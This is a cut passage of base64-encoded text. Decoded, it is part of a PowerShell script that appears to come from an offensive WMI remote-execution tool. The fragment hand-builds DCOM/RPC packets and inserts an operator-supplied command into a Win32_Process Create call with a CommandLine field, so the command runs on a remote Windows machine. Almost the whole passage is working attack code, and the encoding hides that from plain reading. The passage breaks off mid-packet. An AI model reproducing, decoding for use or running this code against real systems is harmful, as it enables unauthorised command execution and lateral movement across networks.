GFncyA9IDB4ODMNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHJlcXVlc3RfYXV0aF9wYWRkaW5nID0gNA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcmVxdWVzdF9jYWxsX0lEID0gMHgwNywweDAwLDB4MDAsMHgwMA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcmVxdWVzdF9jb250ZXh0X0lEID0gMHgwMCwweDAwDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRyZXF1ZXN0X29wbnVtID0gMHgwMywweDAwDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRyZXF1ZXN0X1VVSUQgPSAkb2JqZWN0X1VVSUQNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJFdNSV9jbGllbnRfc3RhZ2VfbmV4dCA9ICdSZXF1ZXN0Jw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcGFja2V0X3JlbV9xdWVyeV9pbnRlcmZhY2UgPSBHZXQtUGFja2V0RENPTVJlbVF1ZXJ5SW50ZXJmYWNlICRjYXVzYWxpdHlfSURfYnl0ZXMgJElQSUQyIDB4OWUsMHhjMSwweGZjLDB4YzMsMHg3MCwweGE5LDB4ZDIsMHgxMSwweDhiLDB4NWEsMHgwMCwweGEwLDB4YzksMHhiNywweGM5LDB4YzQNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHN0dWJfZGF0YSA9IENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfcmVtX3F1ZXJ5X2ludGVyZmFjZQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDUNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzZXF1ZW5jZV9udW1iZXIgPSAweDA2LDB4MDAsMHgwMCwweDAwDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRyZXF1ZXN0X2ZsYWdzID0gMHg4Mw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcmVxdWVzdF9hdXRoX3BhZGRpbmcgPSA0DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRyZXF1ZXN0X2NhbGxfSUQgPSAweDA4LDB4MDAsMHgwMCwweDAwDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRyZXF1ZXN0X2NvbnRleHRfSUQgPSAweDAwLDB4MDANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHJlcXVlc3Rfb3BudW0gPSAweDAzLDB4MDANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHJlcXVlc3RfVVVJRCA9ICRvYmplY3RfVVVJRA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkV01JX2NsaWVudF9zdGFnZV9uZXh0ID0gJ0FsdGVyQ29udGV4dCcNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9yZW1fcXVlcnlfaW50ZXJmYWNlID0gR2V0LVBhY2tldERDT01SZW1RdWVyeUludGVyZmFjZSAkY2F1c2FsaXR5X0lEX2J5dGVzICRJUElEMiAweDgzLDB4YjIsMHg5NiwweGIxLDB4YjQsMHhiYSwweDFhLDB4MTAsMHhiNiwweDljLDB4MDAsMHhhYSwweDAwLDB4MzQsMHgxZCwweDA3DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzdHViX2RhdGEgPSBDb252ZXJ0RnJvbS1QYWNrZXRPcmRlcmVkRGljdGlvbmFyeSAkcGFja2V0X3JlbV9xdWVyeV9pbnRlcmZhY2UNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA2DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkc2VxdWVuY2VfbnVtYmVyID0gMHgwNywweDAwLDB4MDAsMHgwMA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcmVxdWVzdF9mbGFncyA9IDB4ODMNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHJlcXVlc3RfYXV0aF9wYWRkaW5nID0gMA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcmVxdWVzdF9jYWxsX0lEID0gMHgwOSwweDAwLDB4MDAsMHgwMA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcmVxdWVzdF9jb250ZXh0X0lEID0gMHgwNCwweDAwDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRyZXF1ZXN0X29wbnVtID0gMHgwNiwweDAwDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRyZXF1ZXN0X1VVSUQgPSAkSVBJRDINCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJFdNSV9jbGllbnRfc3RhZ2VfbmV4dCA9ICdSZXF1ZXN0Jw0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzdHViX2RhdGEgPSAweDA1LDB4MDAsMHgwNywweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCArDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkY2F1c2FsaXR5X0lEX2J5dGVzICsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDB4MDAsMHgwMCwweDAwLDB4MDAsMHg1NSwweDczLDB4NjUsMHg3MiwweDBkLDB4MDAsMHgwMCwweDAwLDB4MWEsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAweDAwLDB4MDAsMHgwMCwweDBkLDB4MDAsMHgwMCwweDAwLDB4NzcsMHgwMCwweDY5LDB4MDAsMHg2ZSwweDAwLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMHgzMywweDAwLDB4MzIsMHgwMCwweDVmLDB4MDAsMHg3MCwweDAwLDB4NzIsMHgwMCwweDZmLDB4MDAsMHg2MywNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDB4MDAsMHg2NSwweDAwLDB4NzMsMHgwMCwweDczLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAyLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMHgwMCwweDAwLDB4MDANCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDcNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzZXF1ZW5jZV9udW1iZXIgPSAweDA4LDB4MDAsMHgwMCwweDAwDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRyZXF1ZXN0X2ZsYWdzID0gMHg4Mw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcmVxdWVzdF9hdXRoX3BhZGRpbmcgPSAwDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRyZXF1ZXN0X2NhbGxfSUQgPSAweDEwLDB4MDAsMHgwMCwweDAwDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRyZXF1ZXN0X2NvbnRleHRfSUQgPSAweDA0LDB4MDANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHJlcXVlc3Rfb3BudW0gPSAweDA2LDB4MDANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHJlcXVlc3RfVVVJRCA9ICRJUElEMg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkV01JX2NsaWVudF9zdGFnZV9uZXh0ID0gJ1JlcXVlc3QnDQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHN0dWJfZGF0YSA9IDB4MDUsMHgwMCwweDA3LDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwICsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRjYXVzYWxpdHlfSURfYnl0ZXMgKw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMHgwMCwweDAwLDB4MDAsMHgwMCwweDU1LDB4NzMsMHg2NSwweDcyLDB4MGQsMHgwMCwweDAwLDB4MDAsMHgxYSwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDB4MDAsMHgwMCwweDAwLDB4MGQsMHgwMCwweDAwLDB4MDAsMHg3NywweDAwLDB4NjksMHgwMCwweDZlLDB4MDAsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAweDMzLDB4MDAsMHgzMiwweDAwLDB4NWYsMHgwMCwweDcwLDB4MDAsMHg3MiwweDAwLDB4NmYsMHgwMCwweDYzLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMHgwMCwweDY1LDB4MDAsMHg3MywweDAwLDB4NzMsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDIsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAweDAwLDB4MDAsMHgwMA0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgeyRfIC1nZSA4fQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHNlcXVlbmNlX251bWJlciA9IDB4MDksMHgwMCwweDAwLDB4MDANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHJlcXVlc3RfYXV0aF9wYWRkaW5nID0gMA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcmVxdWVzdF9jYWxsX0lEID0gMHgwYiwweDAwLDB4MDAsMHgwMA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcmVxdWVzdF9jb250ZXh0X0lEID0gMHgwNCwweDAwDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRyZXF1ZXN0X29wbnVtID0gMHgxOCwweDAwDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRyZXF1ZXN0X1VVSUQgPSAkSVBJRDINCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgW0J5dGVbXV0kc3R1Yl9sZW5ndGggPSBbU3lzdGVtLkJpdENvbnZlcnRlcl06OkdldEJ5dGVzKCRDb21tYW5kLkxlbmd0aCArIDE3NjkpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzdHViX2xlbmd0aCA9ICRzdHViX2xlbmd0aFswLDFdDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFtCeXRlW11dJHN0dWJfbGVuZ3RoMiA9IFtTeXN0ZW0uQml0Q29udmVydGVyXTo6R2V0Qnl0ZXMoJENvbW1hbmQuTGVuZ3RoICsgMTcyNykNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHN0dWJfbGVuZ3RoMiA9ICRzdHViX2xlbmd0aDJbMCwxXQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBbQnl0ZVtdXSRzdHViX2xlbmd0aDMgPSBbU3lzdGVtLkJpdENvbnZlcnRlcl06OkdldEJ5dGVzKCRDb21tYW5kLkxlbmd0aCArIDE3MTMpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzdHViX2xlbmd0aDMgPSAkc3R1Yl9sZW5ndGgzWzAsMV0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgW0J5dGVbXV0kY29tbWFuZF9sZW5ndGggPSBbU3lzdGVtLkJpdENvbnZlcnRlcl06OkdldEJ5dGVzKCRDb21tYW5kLkxlbmd0aCArIDkzKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkY29tbWFuZF9sZW5ndGggPSAkY29tbWFuZF9sZW5ndGhbMCwxXQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBbQnl0ZVtdXSRjb21tYW5kX2xlbmd0aDIgPSBbU3lzdGVtLkJpdENvbnZlcnRlcl06OkdldEJ5dGVzKCRDb21tYW5kLkxlbmd0aCArIDE2KQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkY29tbWFuZF9sZW5ndGgyID0gJGNvbW1hbmRfbGVuZ3RoMlswLDFdDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFtCeXRlW11dJGNvbW1hbmRfYnl0ZXMgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldEJ5dGVzKCRDb21tYW5kKQ0KDQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIyB0aGFua3MgdG8gQHZ5c2VjIGZvciBmaW5kaW5nIGEgYnVnIHdpdGggY2VydGFpbiBjb21tYW5kIGxlbmd0aHMNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgW1N0cmluZ10kY29tbWFuZF9wYWRkaW5nX2NoZWNrID0gJENvbW1hbmQuTGVuZ3RoIC8gNA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoJGNvbW1hbmRfcGFkZGluZ19jaGVjayAtbGlrZSAiKi43NSIpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRjb21tYW5kX2J5dGVzICs9IDB4MDANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlbHNlaWYoJGNvbW1hbmRfcGFkZGluZ19jaGVjayAtbGlrZSAiKi41IikNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGNvbW1hbmRfYnl0ZXMgKz0gMHgwMCwweDAwDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWxzZWlmKCRjb21tYW5kX3BhZGRpbmdfY2hlY2sgLWxpa2UgIiouMjUiKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkY29tbWFuZF9ieXRlcyArPSAweDAwLDB4MDAsMHgwMA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVsc2UNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGNvbW1hbmRfYnl0ZXMgKz0gMHgwMCwweDAwLDB4MDAsMHgwMA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkc3R1Yl9kYXRhID0gMHgwNSwweDAwLDB4MDcsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAgKw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGNhdXNhbGl0eV9JRF9ieXRlcyArDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAweDAwLDB4MDAsMHgwMCwweDAwLDB4NTUsMHg3MywweDY1LDB4NzIsMHgwZCwweDAwLDB4MDAsMHgwMCwweDFhLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMHgwMCwweDAwLDB4MDAsMHgwZCwweDAwLDB4MDAsMHgwMCwweDU3LDB4MDAsMHg2OSwweDAwLDB4NmUsMHgwMCwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDB4MzMsMHgwMCwweDMyLDB4MDAsMHg1ZiwweDAwLDB4NTAsMHgwMCwweDcyLDB4MDAsMHg2ZiwweDAwLDB4NjMsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAweDAwLDB4NjUsMHgwMCwweDczLDB4MDAsMHg3MywweDAwLDB4MDAsMHgwMCwweDU1LDB4NzMsMHg2NSwweDcyLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMHgwNiwweDAwLDB4MDAsMHgwMCwweDBjLDB4MDAsMHgwMCwweDAwLDB4MDYsMHgwMCwweDAwLDB4MDAsMHg2MywNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDB4MDAsMHg3MiwweDAwLDB4NjUsMHgwMCwweDYxLDB4MDAsMHg3NCwweDAwLDB4NjUsMHgwMCwweDAwLDB4MDAsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMiwweDAwICsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzdHViX2xlbmd0aCArDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAweDAwLDB4MDAgKw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHN0dWJfbGVuZ3RoICsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDB4MDAsMHgwMCwweDRkLDB4NDUsMHg0ZiwweDU3LDB4MDQsMHgwMCwweDAwLDB4MDAsMHg4MSwweGE2LDB4MTIsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAweGRjLDB4N2YsMHg3MywweGNmLDB4MTEsMHg4OCwweDRkLDB4MDAsMHhhYSwweDAwLDB4NGIsMHgyZSwweDI0LA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMHgxMiwweGY4LDB4OTAsMHg0NSwweDNhLDB4MWQsMHhkMCwweDExLDB4ODksMHgxZiwweDAwLDB4YWEsMHgwMCwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDB4NGIsMHgyZSwweDI0LDB4MDAsMHgwMCwweDAwLDB4MDAgKw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHN0dWJfbGVuZ3RoMiArDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAweDAwLDB4MDAsMHg3OCwweDU2LDB4MzQsMHgxMiArDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkc3R1Yl9sZW5ndGgzICsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDB4MDAsMHgwMCwweDAyLDB4NTMsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAweDA2LDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwZCwweDAwLDB4MDAsMHgwMCwweDA0LA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMHgwMCwweDAwLDB4MDAsMHgwZiwweDAwLDB4MDAsMHgwMCwweDBlLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwYiwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDB4MDAsMHgwMCwweDAwLDB4ZmYsMHhmZiwweDAzLDB4MDAsMHgwMCwweDAwLDB4MmEsMHgwMCwweDAwLDB4MDAsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAweDE1LDB4MDEsMHgwMCwweDAwLDB4NzMsMHgwMSwweDAwLDB4MDAsMHg3NiwweDAyLDB4MDAsMHgwMCwweGQ0LA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMHgwMiwweDAwLDB4MDAsMHhiMSwweDAzLDB4MDAsMHgwMCwweDE1LDB4ZmYsMHhmZiwweGZmLDB4ZmYsMHhmZiwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDB4ZmYsMHhmZiwweGZmLDB4ZmYsMHhmZiwweGZmLDB4ZmYsMHgxMiwweDA0LDB4MDAsMHg4MCwweDAwLDB4NWYsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAweDVmLDB4NTAsMHg0MSwweDUyLDB4NDEsMHg0ZCwweDQ1LDB4NTQsMHg0NSwweDUyLDB4NTMsMHgwMCwweDAwLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMHg2MSwweDYyLDB4NzMsMHg3NCwweDcyLDB4NjEsMHg2MywweDc0LDB4MDAsMHgwOCwweDAwLDB4MDAsMHgwMCwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwNCwweDAwLDB4MDAsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAweDAwLDB4MDAsMHg0MywweDZmLDB4NmQsMHg2ZCwweDYxLDB4NmUsMHg2NCwweDRjLDB4NjksMHg2ZSwweDY1LA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMHgwMCwweDAwLDB4NzMsMHg3NCwweDcyLDB4NjksMHg2ZSwweDY3LDB4MDAsMHgwOCwweDAwLDB4MDAsMHgwMCwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgxMSwweDAwLDB4MDAsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAweDAwLDB4MGEsMHgwMCwweDAwLDB4ODAsMHgwMywweDA4LDB4MDAsMHgwMCwweDAwLDB4MzcsMHgwMCwweDAwLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMHgwMCwweDAwLDB4NDksMHg2ZSwweDAwLDB4MDgsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MWMsMHgwMCwweDAwLDB4MDAsMHgwYSwweDAwLDB4MDAsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAweDgwLDB4MDMsMHgwOCwweDAwLDB4MDAsMHgwMCwweDM3LDB4MDAsMHgwMCwweDAwLDB4NWUsMHgwMCwweDAwLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMHgwMCwweDAyLDB4MGIsMHgwMCwweDAwLDB4MDAsMHhmZiwweGZmLDB4MDEsMHgwMCwweDAwLDB4MDAsMHg5NCwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDB4MDAsMHgwMCwweDAwLDB4MDAsMHg1NywweDY5LDB4NmUsMHgzMywweDMyLDB4NDEsMHg1MCwweDQ5LDB4N2MsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAweDUwLDB4NzIsMHg2ZiwweDYzLDB4NjUsMHg3MywweDczLDB4MjAsMHg2MSwweDZlLDB4NjQsMHgyMCwweDU0LA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMHg2OCwweDcyLDB4NjUsMHg2MSwweDY0LDB4MjAsMHg0NiwweDc1LDB4NmUsMHg2MywweDc0LDB4NjksMHg2ZiwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDB4NmUsMHg3MywweDdjLDB4NmMsMHg3MCwweDQzLDB4NmYsMHg2ZCwweDZkLDB4NjEsMHg2ZSwweDY0LDB4NGMsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAweDY5LDB4NmUsMHg2NSwweDIwLDB4MDAsMHgwMCwweDRkLDB4NjEsMHg3MCwweDcwLDB4NjksMHg2ZSwweDY3LA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMHg1MywweDc0LDB4NzIsMHg2OSwweDZlLDB4NjcsMHg3MywweDAwLDB4MDgsMHgwMCwweDAwLDB4MDAsMHgwMCwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MjksMHgwMCwweDAwLDB4MDAsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAweDBhLDB4MDAsMHgwMCwweDgwLDB4MDMsMHgwOCwweDAwLDB4MDAsMHgwMCwweDM3LDB4MDAsMHgwMCwweDAwLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMHg1ZSwweDAwLDB4MDAsMHgwMCwweDAyLDB4MGIsMHgwMCwweDAwLDB4MDAsMHhmZiwweGZmLDB4Y2EsMHgwMCwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDB4MDAsMHgwMCwweDAyLDB4MDgsMHgyMCwweDAwLDB4MDAsMHg4YywweDAwLDB4MDAsMHgwMCwweDAwLDB4NDksDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAweDQ0LDB4MDAsMHgwOCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMHgwMCwweDAwLDB4MDAsMHgzNiwweDAwLDB4MDAsMHgwMCwweDBhLDB4MDAsMHgwMCwweDgwLDB4MDMsMHgwOCwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDB4MDAsMHgwMCwweDAwLDB4NTksMHgwMSwweDAwLDB4MDAsMHg1ZSwweDAwLDB4MDAsMHgwMCwweDAwLDB4MGIsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAweDAwLDB4MDAsMHgwMCwweGZmLDB4ZmYsMHhjYSwweDAwLDB4MDAsMHgwMCwweDAyLDB4MDgsMHgyMCwweDAwLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMHgwMCwweDhjLDB4MDAsMHgwMCwweDAwLDB4MTEsMHgwMSwweDAwLDB4MDAsMHgxMSwweDAzLDB4MDAsMHgwMCwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4NzMsMHg3NCwweDcyLDB4NjksMHg2ZSwweDY3LDB4MDAsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAweDA4LDB4MDAsMHgwMCwweDAwLDB4MDEsMHgwMCwweDA0LDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMHgwMCwweDA0LDB4MDAsMHgwMCwweDAwLDB4MDAsMHg0MywweDc1LDB4NzIsMHg3MiwweDY1LDB4NmUsMHg3NCwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDB4NDQsMHg2OSwweDcyLDB4NjUsMHg2MywweDc0LDB4NmYsMHg3MiwweDc5LDB4MDAsMHgwMCwweDczLDB4NzQsDQogICAgICAgI